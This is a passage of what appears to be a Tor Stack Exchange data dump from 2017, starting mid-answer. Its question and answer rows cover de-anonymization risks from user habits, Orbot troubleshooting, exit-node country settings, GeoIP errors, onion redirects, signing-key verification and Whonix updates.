routines, you may get out of the crowd. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Lets say some thief in a shop steals Rolex (expensive watch). What is he going to do? Walking around in shop for half an hour or just get out of the shop without a panic but as soon as possible. There is a link crime has happened and thief escaped. Now imagine one hundred users are using Tor on some area and some action is performed like posting some post on forum that reveals corruption and after posting user disconnects from the Tor network. Similar logic like with Rolex, end-user accomplished the task and just see no point of being in the same place (shop or Tor), so disconnects. Now police just has to know when post was posted on forum, get confirmation from forum's web site administrator the user was using Tor exit node and needs to get data from ISP which users of Tor network (using Tor entry nodes) where disconnected from the Tor network at the time of publishing of forum post. Some basic psychological profiling and list of potential candidates shrinks dramatically. Not only the specific time, but specific psychological profiling can reveal some crucial lead.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To recap:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Mixing data from Tor usage and real time usage of normal browser can de-anonymize you.&lt;/li&gt;&#xA;&lt;li&gt;Basic statistical analysis, can reveal some data, when, who and how much data were transfered and may make user unique and so de-anonymized.&lt;/li&gt;&#xA;&lt;li&gt;Doing something really unique in real world can by mere police work de-anonymize you. &lt;/li&gt;&#xA;&lt;li&gt;Doing something repetitive in real world and people can remember you and so de-anonymize you.&lt;/li&gt;&#xA;&lt;li&gt;Basic human behavior can profile user enough to be de-anonymized.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There can be plenty of other samples, so that is why reading Tor documentation strongly suggests to change your HABITS as essential part of anonymity.&lt;/p&gt;&#xA;" OwnerUserId="13725" LastEditorUserId="13725" LastEditDate="2017-08-04T18:00:45.533" LastActivityDate="2017-08-04T18:00:45.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15413" PostTypeId="2" ParentId="15409" CreationDate="2017-08-04T18:03:21.293" Score="1" Body="&lt;p&gt;Generally the virtualisation of choice is VirtualBox, see: &lt;a href=&quot;https://tails.boum.org/doc/advanced_topics/virtualization/virtualbox/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails VirtualBox documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, also heed the warnings. Tails do not recommend using VirtualBox for day-to-day use. It's there mostly to help with testing.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Running Tails inside a virtual machine has various security implications. Depending on the host operating system and your security needs, running Tails in a virtual machine might be dangerous.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It will lose its anti-forensic properties and it will only be as secure, private and anonymous as the host operating system.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-08-04T18:03:21.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15414" PostTypeId="1" CreationDate="2017-08-04T19:30:43.047" Score="1" ViewCount="969" Body="&lt;p&gt;My orfox browser won't load. I start orbot, and it loads successfully. But when I try to open orfox, the window just closes. I've uninstalled and reinstalled,as well as restarting my tablet, but nothing worked. Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="18594" LastEditorUserId="18612" LastEditDate="2017-08-08T10:45:12.950" LastActivityDate="2017-12-17T07:29:31.570" Title="Orfox wont load?" Tags="|help|error|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15415" PostTypeId="1" CreationDate="2017-08-04T21:58:43.237" Score="1" ViewCount="175" Body="&lt;p&gt;If in the file &lt;code&gt;torrc&lt;/code&gt; is written&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {at}&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tor starts with an IP in Austria.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if in the file &lt;code&gt;torrc&lt;/code&gt; is written&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {it} StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tor don't start with an IP in Italy, it starts in France.&#xA;Italy is in the Tor Circuit at the penultimate position. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a Bug? What can I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My OS is Windows 10 64 bit.&lt;/p&gt;&#xA;" OwnerUserId="18596" LastEditorUserId="88" LastEditDate="2017-08-09T12:36:37.473" LastActivityDate="2019-05-01T22:03:25.750" Title="Country Italy unreachable" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15416" PostTypeId="2" ParentId="15415" CreationDate="2017-08-04T22:09:27.153" Score="1" Body="&lt;p&gt;GeoIP is often wrong, outdated or simply falisifed (maliciously or for fun).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GeoIP is harvested from whois information by MaxMind. This whois information is supplied by whoever owns the IP range, as such the IP range owner could claim to be in North Korea in their whois data and MaxMind would believe them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no real link between an IP address and a geographic location, it's possible that both you and the site reporting the location of your IP have different versions of the GeoIP database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I ran a relay that was falsely report to be on the wrong side of the globe for 6+ months because the IP addresses had recently changed hands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further more if MaxMind can't get an accurate enough &quot;location&quot; for the IP it simply makes it up, the results of believing in GeoIP are serious and MaxMind are &lt;a href=&quot;https://www.theguardian.com/technology/2016/aug/09/maxmind-mapping-lawsuit-kansas-farm-ip-address&quot; rel=&quot;nofollow noreferrer&quot;&gt;currently being sued over it&lt;/a&gt;. It's a concept we should all seek to dispell. I've written about it more &lt;a href=&quot;https://github.com/epidemics-scepticism/writing/blob/master/misconception.md#geoip-is-bullshit&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-08-04T22:09:27.153" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15417" PostTypeId="1" CreationDate="2017-08-05T02:51:01.870" Score="4" ViewCount="454" Body="&lt;p&gt;I was reading a couple articles on identity and information leaks from DNS. I was just curious to know how many TOR exit node operators run their own DNS servers as opposed to going through another provider (ex. google, opendns, etc). I'm interested to hear some feedback or thoughts. &lt;/p&gt;&#xA;" OwnerUserId="18599" LastActivityDate="2017-09-16T01:57:17.303" Title="Tor exit operators: What DNS do you use?" Tags="|exit-relays|dns|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15418" PostTypeId="2" ParentId="670" CreationDate="2017-08-05T02:53:04.253" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://ORSN.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ORSN.org&lt;/a&gt; - Open root server network. Alternative root to ICANN. Specifically mentioned prism and government surveillance as key driver in project. Also mentions no logging policy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;US resolver:&#xA;172.98.193.42&#xA;162.248.241.94&lt;/p&gt;&#xA;" OwnerUserId="18599" LastActivityDate="2017-08-05T02:53:04.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15421" PostTypeId="1" AcceptedAnswerId="15425" CreationDate="2017-08-05T12:43:27.487" Score="2" ViewCount="1773" Body="&lt;p&gt;I've seen that onion.to gateway, is redirecting the&lt;/p&gt;&#xA;&#xA;&lt;p&gt;client to .onion when the site was accessed over tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to implement it in nginx anybody have ideas?&lt;/p&gt;&#xA;" OwnerUserId="18605" LastEditorUserId="88" LastEditDate="2017-08-09T12:20:51.280" LastActivityDate="2017-08-09T12:20:51.280" Title="redirect to onion if site was accessed from tor" Tags="|web-proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15422" PostTypeId="1" CreationDate="2017-08-05T16:49:07.803" Score="1" ViewCount="50" Body="&lt;p&gt;The last time I used TOR was a couple of months ago.  I did nothing to the computer(s) it's on.  TOR now shows the Loading Progress Bar and Gets about half way loaded and Stops.  Is anyone Else having this problem?  Windows 7 setup. &lt;/p&gt;&#xA;" OwnerUserId="18608" LastActivityDate="2017-08-05T16:49:07.803" Title="Windows 7 and TOR no longer working." Tags="|bridge|" AnswerCount="0" CommentCount="1" ClosedDate="2017-08-14T12:59:18.140" ContentLicense="CC BY-SA 3.0" />
  <row Id="15424" PostTypeId="1" CreationDate="2017-08-05T18:41:16.947" Score="1" ViewCount="61" Body="&lt;p&gt;I have downloaded the DMG and have tried double-clicking it, saving it to the desktop and clicking, saving it to the Applications folder and clicking. Nothing happens at all, no error message, nothing. &lt;/p&gt;&#xA;" OwnerUserId="18613" LastEditorUserId="18613" LastEditDate="2017-08-05T19:03:16.457" LastActivityDate="2017-08-05T19:03:16.457" Title="DMG of Tor Browser will not open in Sierra" Tags="|tor-install|" AnswerCount="0" CommentCount="0" ClosedDate="2017-08-09T12:54:40.043" ContentLicense="CC BY-SA 3.0" />
  <row Id="15425" PostTypeId="2" ParentId="15421" CreationDate="2017-08-05T21:36:11.150" Score="1" Body="&lt;p&gt;There are a few approaches you can take:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use Tor DNSEL or ExitList to detect known Tor exits and redirect them if they are coming from a known Tor exit.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Load embed a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag with the source being the .onion, with javascript check if the hostname is the .onion address and if it isn't then redirect the user to it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Without javascript, use .css instead to prompt a user to visit the onion address. Embed an element on the page and hide it with a CSS stylesheet. Load another stylesheet from the .onion, if it is loaded it will unhide the element that recommends the user use the .onion instead.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've an example implementation of the last 2 options &lt;a href=&quot;https://github.com/epidemics-scepticism/onion-redir&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, in this case specifically using PHP but the concepts could be transfered to other languages (and probably improved, web development isn't my forte).&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-08-05T21:36:11.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15429" PostTypeId="1" CreationDate="2017-08-06T13:18:26.007" Score="1" ViewCount="5992" Body="&lt;p&gt;I have been using Tor (Orbot app) for quite some time now on my old Android phone (Galaxy S4) and until recently (last week or two) it was working just fine. Now, it does not connect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have uninstalled and reinstalled the app several times. When I originally downloaded it (maybe a year or two ago?) I didn't do anything special for it to work. It connected quickly and I could see the relays (wherever it was bouncing around to).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any suggestions about what I can do to fix this? &lt;/p&gt;&#xA;" OwnerUserId="18627" LastEditorUserId="10777" LastEditDate="2017-08-08T10:45:16.350" LastActivityDate="2017-08-19T15:55:11.050" Title="Orbot was fine but now perpetually stuck on &quot;Orbot is starting&quot;" Tags="|orbot|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15435" PostTypeId="1" AcceptedAnswerId="16208" CreationDate="2017-08-07T09:53:27.247" Score="2" ViewCount="1567" Body="&lt;p&gt;People usually recommend either using a VPN or hosting an entry or exit node in a remote server. But what about proxies and bridges, for example? And are there any other way to avoid correlation attacks?&lt;/p&gt;&#xA;" OwnerUserId="18641" LastActivityDate="2018-08-17T23:41:11.547" Title="How can one avoid Tor correlation attacks?" Tags="|anonymity|security|bridge|vpn|attacks|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15438" PostTypeId="1" CreationDate="2017-08-07T14:26:55.113" Score="1" ViewCount="143" Body="&lt;p&gt;I want to know how to restart tor browser automatically after 30 seconds or a way to automatically apply the new identity shortcut after 30 seconds&lt;/p&gt;&#xA;" OwnerUserId="18651" LastActivityDate="2017-08-07T14:26:55.113" Title="Restart tor browser after 30 seconds" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="2" ClosedDate="2017-08-14T14:46:19.017" ContentLicense="CC BY-SA 3.0" />
  <row Id="15439" PostTypeId="1" CreationDate="2017-08-07T22:17:33.180" Score="3" ViewCount="500" Body="&lt;p&gt;If an ISP was performing deep packet inspection on a server's traffic, would they be able to tell the difference between a hidden service and a relay?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, I'm talking about a &quot;middle relay&quot; - not a bridge or an exit node.&lt;/p&gt;&#xA;" OwnerUserId="18656" LastEditorUserId="18656" LastEditDate="2017-08-10T02:47:52.950" LastActivityDate="2018-10-04T17:00:18.217" Title="Is it possible for an ISP to distinguish between traffic from a relay and traffic from a hidden serivce?" Tags="|onion-services|relays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15441" PostTypeId="2" ParentId="15386" CreationDate="2017-08-08T17:48:34.333" Score="1" Body="&lt;p&gt;As far as I know Tor browser will only remove (forget) cookies when closing/restarting the browser, including when using the New Identity option, not just the tabs. I assume the reason cookies aren't shown in the Cookies pane under Privacy options (it's the same for me btw, also on 7.0.2) is for security. The cookies will be there however, otherwise you wouldn't be able to successfully login to any sites to begin with - or at least would effectively get logged out as soon as you navigate to any other page on those sites. I was going to suggest you check if cookies are being sent via the Network Monitor under Web Developer Tools but actually I don't think that would confirm much. It's there if you're curious anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if there's an option to have tor browser forget relevant cookies for particular sites when all tabs pointing to that site have been closed, but I haven't come across one and suspect it doesn't exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit; additional note: This is the same behaviour as for Incognito mode in Chrome btw - closing tabs will not forget cookies for those sites, until the Incognito session is ended (i.e. all Incognito windows are closed)&lt;/p&gt;&#xA;" OwnerUserId="18664" LastEditorUserId="18664" LastEditDate="2017-08-08T17:55:22.250" LastActivityDate="2017-08-08T17:55:22.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15443" PostTypeId="2" ParentId="4912" CreationDate="2017-08-08T19:52:51.350" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I changed the name of TorBrowser/Browser/firefox.exe to firefox2.exe&#xA;and it started. If you do this test change it back or updates won't&#xA;work.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As mentioned above the antivirus will stop it from running. My test&#xA;makes me conclude that because the exe file is named the same, an&#xA;antivirus will notice that it is opening from a different source then&#xA;stop it from running.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;What Jake Nonnemaker wrote is the solution for Webroot. For me the&#xA;item on the list was &quot;mozglue.dll in d:\tor browser\browser&quot; moving&#xA;it from Deny to Protect fixed it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Q az&lt;/p&gt;&#xA;" OwnerUserId="18666" LastEditorUserId="18666" LastEditDate="2017-08-08T19:59:41.700" LastActivityDate="2017-08-08T19:59:41.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15444" PostTypeId="1" CreationDate="2017-08-08T19:57:04.243" Score="1" ViewCount="478" Body="&lt;p&gt;There is option in Orbot app &quot;START ORBOT ON BOOT&quot;&#xA;but it never happens -after every reboot Orbot won't start until I start it manually...&#xA;Anyone knows why?&lt;/p&gt;&#xA;" OwnerUserId="18667" LastActivityDate="2017-08-08T19:57:04.243" Title="Orbot startup on boot" Tags="|orbot|startup|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15447" PostTypeId="1" AcceptedAnswerId="15451" CreationDate="2017-08-09T00:35:48.923" Score="1" ViewCount="257" Body="&lt;p&gt;When I had finish the verifying step, I saw that line on the site &quot;gpg: Signature made Tue 24 Jan 2015 09:29:09 AM CET using RSA key ID D40814E0&quot; does not match with my line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my line has wrong date and rsa key id. it's strange that id is match with the last 8 numbers of the last subkey fingerprints that on the site. it is &quot;c3c07136&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;does something wrong with signature or i can use this package?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/EoNbp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EoNbp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18671" LastEditorUserId="88" LastEditDate="2017-08-09T13:11:51.157" LastActivityDate="2017-08-09T13:20:15.013" Title="the date of signature and rsa key id aren't match" Tags="|tor-browser-bundle|help|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15451" PostTypeId="2" ParentId="15447" CreationDate="2017-08-09T13:20:15.013" Score="0" Body="&lt;p&gt;The Tor Browser developers use the key &lt;a href=&quot;http://pool.sks-keyservers.net/pks/lookup?search=0x4E2C6E8793298290&amp;amp;op=vindex&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;0x4E2C6E8793298290&lt;/code&gt;&lt;/a&gt; for signing the releases:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pub   rsa4096/0x4E2C6E8793298290 2014-12-15 [C] [expires: 2020-08-24]&#xA;      Key fingerprint = EF6E 286D DA85 EA2A 4BA7  DE68 4E2C 6E87 9329 8290&#xA;uid                   Tor Browser Developers (signing key) &amp;lt;torbrowser@torproject.org&amp;gt;&#xA;sub   rsa4096/0x7017ADCEF65C2036 2014-12-15 [S] [expires: 2017-08-25]&#xA;      Key fingerprint = 5242 013F 02AF C851 B1C7  36B8 7017 ADCE F65C 2036&#xA;sub   rsa4096/0x2E1AC68ED40814E0 2014-12-15 [S] [expires: 2017-08-25]&#xA;      Key fingerprint = BA1E E421 BBB4 5263 180E  1FC7 2E1A C68E D408 14E0&#xA;sub   rsa4096/0xD1483FA6C3C07136 2016-08-24 [S] [expires: 2018-08-24]&#xA;      Key fingerprint = A430 0A6B C93C 0877 A445  1486 D148 3FA6 C3C0 7136&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This key has lots of subkeys and several are near the expiry date (&lt;code&gt;expires:&lt;/code&gt;). So the devs have chosen to create a new subkey with the id &lt;code&gt;0xD1483FA6C3C07136&lt;/code&gt; or short &lt;code&gt;0xC3C07136&lt;/code&gt;. So the website lists the main key and you saw the subkey. So everything looks fine from this site. &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-08-09T13:20:15.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15452" PostTypeId="2" ParentId="15439" CreationDate="2017-08-09T13:31:01.200" Score="1" Body="&lt;p&gt;I assume you are talking about a webserver which  an onion service configured and acts as a Tor relay. The Tor relay can do three things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;takes connections from non-Tor IP addresses and forwards them into the Tor network (guard node) &lt;/li&gt;&#xA;&lt;li&gt;take connections from Tor IP addresses and forward them to other Tor IP addresses&lt;/li&gt;&#xA;&lt;li&gt;take connections from Tor IP addresses and forward them to non-Tor IP addresses (exit node)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The onion service makes every time a connection to a Tor IP address and sends traffic back and forth. Especially it uses its own guard node to send and receive traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So depending on the specific traffic pattern and setup of the relay I guess from the above knowledge it might be possible for an ISP to distinguish between relay traffic and onion service traffic.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-08-09T13:31:01.200" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15454" PostTypeId="2" ParentId="15245" CreationDate="2017-08-09T15:39:35.797" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;At top-right click on the &lt;strong&gt;3-lines-button&lt;/strong&gt; (Humburger button) and select &#xA;&lt;strong&gt;Customize&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;There should be &lt;strong&gt;Torbutton&lt;/strong&gt; icon. Drag and drop it to the toolbar.&lt;/li&gt;&#xA;&lt;li&gt;Click on &lt;strong&gt;Exit Customize&lt;/strong&gt; green button.&lt;/li&gt;&#xA;&lt;li&gt;On toolbar now Torbutton icon should be visible. Click on the icon and select &lt;strong&gt;New Identity&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Just a note when you select this option, Tor-browser will close and restart, but current tabs will NOT be preserved. Make sure you can lose current tabs content.&lt;/p&gt;&#xA;" OwnerUserId="13725" LastActivityDate="2017-08-09T15:39:35.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15455" PostTypeId="1" CreationDate="2017-08-09T21:37:20.620" Score="0" ViewCount="167" Body="&lt;p&gt;All was fine with Tor Browser 7.0.2, I can see comments via Facebook on &lt;a href=&quot;https://fr.sputniknews.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://fr.sputniknews.com&lt;/a&gt; under all news. But it seems there's a bug now.  Do you have a solution ? If not, is it risky to still run Tor Browser 7.0.2 ?  Please avoid &quot;Do not read Sputniknews anymore&quot; comment ;-)  &lt;/p&gt;&#xA;" OwnerUserId="18683" LastEditorUserId="88" LastEditDate="2017-08-14T12:29:45.820" LastActivityDate="2020-04-22T21:17:44.880" Title="Can not see comments via Facebook on fr.sputniknews.com with Tor Browser 7.0.4. Why?" Tags="|tor-browser-bundle|noscript|facebook|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15456" PostTypeId="2" ParentId="15245" CreationDate="2017-08-09T23:14:43.947" Score="1" Body="&lt;p&gt;You can use Folow's answer to (re-)add the Tor button, and then:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Click the Tor button&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the menu that appears, click &lt;strong&gt;New Tor Circuit for this site&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;New Tor Circuit for this site will change the IP address for that website only, but will not require closing all tabs. This option might disrupt other tabs with that same website open, in some cases, but that risk doesn't seem to apply to you.&lt;/p&gt;&#xA;" OwnerUserId="18686" LastActivityDate="2017-08-09T23:14:43.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15458" PostTypeId="1" CreationDate="2017-08-10T10:11:41.333" Score="1" ViewCount="754" Body="&lt;p&gt;After download ISO and try to verify the ISO.sig comes up : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;tails-amd64-3.1.iso:Untrusted Valid Signature&lt;br /&gt;&#xA;  Valid but untrusted signature by on 2017-08-09&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So what is the play now? How bad is this situation? Should I download it again or it is safe to use it to upgrade my Tails?&lt;/p&gt;&#xA;" OwnerUserId="18691" LastEditorUserId="88" LastEditDate="2017-08-14T13:00:46.423" LastActivityDate="2021-12-22T10:03:10.387" Title="Untrusted Valid Signature Tails-amd64-3.1.iso.sig" Tags="|tails|tor-install|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15459" PostTypeId="1" AcceptedAnswerId="15463" CreationDate="2017-08-10T12:54:32.580" Score="1" ViewCount="2214" Body="&lt;p&gt;I'm using Whonix Gateway and Workstation. &#xA;Recently Arm shows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Tor 0.2.9.9(unrecommended)&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(unrecommended is red)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I update to a newer version of tor?&#xA;Is it dangerous to use as it is ?&lt;/p&gt;&#xA;" OwnerUserId="18692" LastActivityDate="2017-08-11T00:44:44.913" Title="update tor of Whonix Gateway" Tags="|whonix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15461" PostTypeId="2" ParentId="13991" CreationDate="2017-08-10T17:30:16.363" Score="-2" Body="&lt;p&gt;If you do &lt;strong&gt;not&lt;/strong&gt; experience the same problems with a standalone Tor program - it looks suspicious then. The lines like the ones you've marked wit &lt;code&gt;!!&lt;/code&gt; are stating that in 120 minutes you have no luck connecting to the destination - and there can be quite a &lt;em&gt;huge pile of reasons&lt;/em&gt; to cause it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first obvious reason - the connection problem - is not the likely candidate due to the fact that you're not experiencing such kind of trouble when using a standalone Tor. The browser bundle makes dynamic tweaks to the Tor via control port/socket, i.e. uses telnet command protocol to constantly monitor and control the binary Tor instance, like a &quot;dynamic configuration&quot; mode. And this &quot;autopilot&quot; seems to fail in your case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to use standalone Tor + Firefox + FoxyProxy - that's the simpliest solution you can use here. And you're not alone in this trouble - I used to experience it with a browser too, that's why I'm not using Tor Browser Bundle.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-08-10T17:30:16.363" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="15462" PostTypeId="2" ParentId="15458" CreationDate="2017-08-10T20:18:42.810" Score="0" Body="&lt;p&gt;In cases where you don't understand OpenPGP/GnuPG you're recommended to use one of the non-expert installation methods. OpenPGP is there for experts only, as a non-expert you shouldn't use this installation method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can follow an easy to follow step-by-step process using the &lt;a href=&quot;https://tails.boum.org/install/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails Installation Guide&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-08-10T20:18:42.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15463" PostTypeId="2" ParentId="15459" CreationDate="2017-08-10T20:22:21.853" Score="0" Body="&lt;p&gt;You should follow the steps outlined on the &lt;a href=&quot;https://www.whonix.org/wiki/Security_Guide#Updates&quot; rel=&quot;nofollow noreferrer&quot;&gt;Whonix Security Guide&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In simple terms, you should only need to run the following commands:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;apt-get update&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;apt-get dist-upgrade&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;reboot&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;By the looks of it, &lt;a href=&quot;https://deb.whonix.org/dists/jessie/main/binary-amd64/Packages&quot; rel=&quot;nofollow noreferrer&quot;&gt;0.2.9.9&lt;/a&gt; is the latest version distributed for Whonix.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Package: tor&#xA;Version: 0.2.9.9-1~d80.jessie+1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There have been some bugfixes since then, most prominently CVE-2017-0376 which only affects onion services. The consensus suggests that it's &lt;a href=&quot;https://consensus-health.torproject.org/#recommendedversions&quot; rel=&quot;nofollow noreferrer&quot;&gt;not a recommended client version currently&lt;/a&gt; but I don't think it's explicitly known to be unsafe if you're only using it as a client.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2017-08-11T00:44:44.913" LastActivityDate="2017-08-11T00:44:44.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15467" PostTypeId="2" ParentId="15455" CreationDate="2017-08-11T07:53:28.403" Score="1" Body="&lt;p&gt;It seems to be a NoScript bug. When I disable 'Sanitize cross-site suspicious requests' in &lt;code&gt;NoScript Options\Advanced\XSS&lt;/code&gt; then Facebook comments come back. So, it is the first solution to disable 'Sanitize...', but we are vulnerable to XSS attack if permanently disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second solution: tweak the NoScript &lt;code&gt;Options|Advanced|XSS|Anti-XSS Protection Exceptions&lt;/code&gt; rules but I can not write such rule... not geek enough ;-). And last solution : post a &lt;a href=&quot;https://forums.informaction.com/viewtopic.php?f=7&amp;amp;t=23168&amp;amp;p=89151&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug report at NoScript forum&lt;/a&gt;. What I am going to do.&lt;/p&gt;&#xA;" OwnerUserId="18683" LastEditorUserId="88" LastEditDate="2017-08-14T12:56:21.150" LastActivityDate="2017-08-14T12:56:21.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
